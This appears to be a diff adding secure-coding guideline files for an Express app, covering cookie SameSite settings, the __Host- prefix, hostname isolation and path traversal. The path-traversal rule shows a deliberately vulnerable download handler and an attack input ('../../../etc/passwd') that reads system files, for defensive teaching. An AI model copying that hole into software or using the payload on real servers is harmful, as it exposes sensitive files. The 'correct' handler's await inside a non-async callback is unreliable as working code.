---
|
|
2
|
+
title: Set SameSite On Session Cookies
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: provides CSRF protection
|
|
5
|
+
tags: cookies, samesite, csrf, session, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Set SameSite On Session Cookies
|
|
9
|
+
|
|
10
|
+
SameSite attribute prevents cookies from being sent in cross-site requests, providing CSRF protection.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no SameSite):**
|
|
13
|
+
|
|
14
|
+
```typescript
|
|
15
|
+
res.cookie('session', token); // Default may be 'Lax' in modern browsers
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
**Correct (SameSite set):**
|
|
19
|
+
|
|
20
|
+
```typescript
|
|
21
|
+
// Strict - most secure, may break legitimate cross-site flows
|
|
22
|
+
res.cookie('session', token, {
|
|
23
|
+
sameSite: 'strict',
|
|
24
|
+
httpOnly: true,
|
|
25
|
+
secure: true
|
|
26
|
+
});
|
|
27
|
+
|
|
28
|
+
// Lax - allows top-level navigation (clicking links)
|
|
29
|
+
res.cookie('session', token, {
|
|
30
|
+
sameSite: 'lax',
|
|
31
|
+
httpOnly: true,
|
|
32
|
+
secure: true
|
|
33
|
+
});
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
**SameSite options:**
|
|
37
|
+
|
|
38
|
+
| Value | Behavior |
|
|
39
|
+
|-------|----------|
|
|
40
|
+
| `strict` | Never sent cross-site |
|
|
41
|
+
| `lax` | Sent for top-level navigation |
|
|
42
|
+
| `none` | Always sent (requires Secure) |
|
|
43
|
+
|
|
44
|
+
**Recommended:** `strict` for session cookies
|
|
45
|
+
|
|
46
|
+
**Tools:** Browser DevTools, Security Scan
|
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Use __Host- Prefix For Cookies
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: ensures cookie is domain-locked
|
|
5
|
+
tags: cookies, prefix, domain, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Use __Host- Prefix For Cookies
|
|
9
|
+
|
|
10
|
+
The `__Host-` prefix ensures cookies are only sent to the exact host, preventing subdomain attacks.
|
|
11
|
+
|
|
12
|
+
**Incorrect (no prefix):**
|
|
13
|
+
|
|
14
|
+
```typescript
|
|
15
|
+
res.cookie('session', token, {
|
|
16
|
+
secure: true,
|
|
17
|
+
path: '/'
|
|
18
|
+
});
|
|
19
|
+
// Cookie could be set by subdomain attacker
|
|
20
|
+
```
|
|
21
|
+
|
|
22
|
+
**Correct (__Host- prefix):**
|
|
23
|
+
|
|
24
|
+
```typescript
|
|
25
|
+
res.cookie('__Host-session', token, {
|
|
26
|
+
secure: true,
|
|
27
|
+
path: '/',
|
|
28
|
+
httpOnly: true,
|
|
29
|
+
sameSite: 'strict'
|
|
30
|
+
// Domain must NOT be set for __Host-
|
|
31
|
+
});
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
**__Host- requirements:**
|
|
35
|
+
- Must have `Secure` flag
|
|
36
|
+
- Must have `Path=/`
|
|
37
|
+
- Must NOT have `Domain` attribute
|
|
38
|
+
- Cannot be set from subdomain
|
|
39
|
+
|
|
40
|
+
**Alternative - __Secure- prefix:**
|
|
41
|
+
|
|
42
|
+
```typescript
|
|
43
|
+
// Less restrictive, just requires Secure
|
|
44
|
+
res.cookie('__Secure-session', token, {
|
|
45
|
+
secure: true,
|
|
46
|
+
domain: 'example.com' // Allowed with __Secure-
|
|
47
|
+
});
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
**Tools:** Browser DevTools, Security Audit
|
|
@@ -0,0 +1,49 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Host Apps On Different Hostnames
|
|
3
|
+
impact: MEDIUM
|
|
4
|
+
impactDescription: provides cookie and origin isolation
|
|
5
|
+
tags: hostname, isolation, same-origin, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Host Apps On Different Hostnames
|
|
9
|
+
|
|
10
|
+
Different applications on the same hostname can access each other's cookies and storage.
|
|
11
|
+
|
|
12
|
+
**Incorrect (shared hostname):**
|
|
13
|
+
|
|
14
|
+
```
|
|
15
|
+
https://example.com/admin # Admin panel
|
|
16
|
+
https://example.com/api # API
|
|
17
|
+
https://example.com/app # User app
|
|
18
|
+
# All share cookies and localStorage!
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
**Correct (separate hostnames):**
|
|
22
|
+
|
|
23
|
+
```
|
|
24
|
+
https://admin.example.com # Admin panel
|
|
25
|
+
https://api.example.com # API
|
|
26
|
+
https://app.example.com # User app
|
|
27
|
+
# Each has isolated cookies and storage
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
**Benefits:**
|
|
31
|
+
- Cookie isolation
|
|
32
|
+
- localStorage isolation
|
|
33
|
+
- Same-origin policy protection
|
|
34
|
+
- Independent security policies
|
|
35
|
+
|
|
36
|
+
**Configuration:**
|
|
37
|
+
|
|
38
|
+
```typescript
|
|
39
|
+
// CORS for separate origins
|
|
40
|
+
app.use(cors({
|
|
41
|
+
origin: [
|
|
42
|
+
'https://app.example.com',
|
|
43
|
+
'https://admin.example.com'
|
|
44
|
+
],
|
|
45
|
+
credentials: true
|
|
46
|
+
}));
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
**Tools:** Infrastructure Planning, Security Audit
|
|
@@ -0,0 +1,53 @@
|
|
|
1
|
+
---
|
|
2
|
+
title: Use Internal Data For File Paths
|
|
3
|
+
impact: CRITICAL
|
|
4
|
+
impactDescription: prevents path traversal attacks
|
|
5
|
+
tags: file-path, path-traversal, lfi, input-validation, security
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
## Use Internal Data For File Paths
|
|
9
|
+
|
|
10
|
+
Never construct file paths using user input directly. Path traversal attacks can access any file on the system.
|
|
11
|
+
|
|
12
|
+
**Incorrect (user-controlled paths):**
|
|
13
|
+
|
|
14
|
+
```typescript
|
|
15
|
+
// Path traversal vulnerability
|
|
16
|
+
app.get('/download', (req, res) => {
|
|
17
|
+
const filename = req.query.file;
|
|
18
|
+
res.sendFile(`/uploads/${filename}`);
|
|
19
|
+
// Attacker: ?file=../../../etc/passwd
|
|
20
|
+
});
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
**Correct (validated internal paths):**
|
|
24
|
+
|
|
25
|
+
```typescript
|
|
26
|
+
import path from 'path';
|
|
27
|
+
|
|
28
|
+
app.get('/download', (req, res) => {
|
|
29
|
+
const filename = req.query.file;
|
|
30
|
+
|
|
31
|
+
// Sanitize: remove path components
|
|
32
|
+
const safeName = path.basename(filename);
|
|
33
|
+
|
|
34
|
+
// Validate against allowlist
|
|
35
|
+
const allowedFiles = await getUploadedFiles(req.user.id);
|
|
36
|
+
if (!allowedFiles.includes(safeName)) {
|
|
37
|
+
return res.status(404).json({ error: 'File not found' });
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
// Use absolute path with validation
|
|
41
|
+
const filePath = path.join('/uploads', safeName);
|
|
42
|
+
const resolved = path.resolve(filePath);
|
|
43
|
+
|
|
44
|
+
// Ensure path is within allowed directory
|
|
45
|
+
if (!resolved.startsWith('/uploads/')) {
|
|
46
|
+
return res.status(400).json({ error: 'Invalid path' });
|
|
47
|
+
}
|
|
48
|
+
|
|
49
|
+
res.sendFile(resolved);
|
|
50
|
+
});
|
|
51
|
+
```
|
|
52
|
+
|
|
53
|
+
**Tools:** SonarQube, Semgrep, OWASP ZAP
|